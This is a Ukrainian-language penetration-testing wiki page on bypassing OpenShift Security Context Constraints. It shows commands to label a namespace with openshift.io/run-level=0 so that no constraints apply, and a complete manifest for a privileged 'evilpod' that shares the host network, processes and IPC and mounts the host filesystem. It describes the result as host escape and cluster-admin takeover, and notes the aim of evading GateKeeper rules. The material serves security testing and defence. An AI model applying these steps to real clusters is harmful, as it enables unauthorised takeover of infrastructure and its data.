Openshift - SCC обхід

Reading time: 3 minutes

Оригінальний автор цієї сторінки Guillaume

Привілейовані простори імен

За замовчуванням, SCC не застосовується до наступних проектів:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Якщо ви розгортаєте поди в одному з цих просторів імен, жоден SCC не буде застосовано, що дозволяє розгортати привілейовані поди або монтувати файлову систему хоста.

Мітка простору імен

Існує спосіб вимкнути застосування SCC на вашому поді відповідно до документації RedHat. Вам потрібно мати принаймні одне з наступних дозволів:

  • Створити простір імен і створити под у цьому просторі імен
  • Редагувати простір імен і створити под у цьому просторі імен
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Специфічна мітка openshift.io/run-level дозволяє користувачам обійти SCC для додатків. Згідно з документацією RedHat, коли ця мітка використовується, жодні SCC не застосовуються до всіх подів у цьому просторі імен, ефективно усуваючи будь-які обмеження.

Додати мітку

Щоб додати мітку у вашому просторі імен:

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

Щоб створити простір імен з міткою через YAML файл:

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Тепер всі нові поди, створені в просторі імен, не повинні мати жодного SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

У відсутності SCC немає жодних обмежень на визначення вашого пода. Це означає, що зловмисний под може бути легко створений для втечі на хост-систему.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Тепер стало легше підвищити привілеї для доступу до хост-системи і, відповідно, захопити весь кластер, отримавши привілеї 'cluster-admin'. Шукайте частину Node-Post Exploitation на наступній сторінці:

Attacking Kubernetes from inside a Pod

Кастомні мітки

Крім того, в залежності від налаштування цілі, деякі кастомні мітки / анотації можуть використовуватися так само, як і в попередньому сценарії атаки. Навіть якщо це не призначено, мітки можуть використовуватися для надання дозволів, обмеження або не обмеження конкретного ресурсу.

Спробуйте знайти кастомні мітки, якщо ви можете прочитати деякі ресурси. Ось список цікавих ресурсів:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Перерахуйте всі привілейовані простори імен

bash
$ oc get project -o yaml | grep 'run-level' -b5

Advanced exploit

В OpenShift, як було продемонстровано раніше, наявність дозволу на розгортання пода в просторі імен з міткою openshift.io/run-level може призвести до простого захоплення кластера. З точки зору налаштувань кластера, ця функціональність не може бути вимкнена, оскільки вона є невід'ємною частиною дизайну OpenShift.

Однак, заходи пом'якшення, такі як Open Policy Agent GateKeeper, можуть запобігти користувачам встановлювати цю мітку.

Щоб обійти правила GateKeeper і встановити цю мітку для виконання захоплення кластера, зловмисники повинні виявити альтернативні методи.

References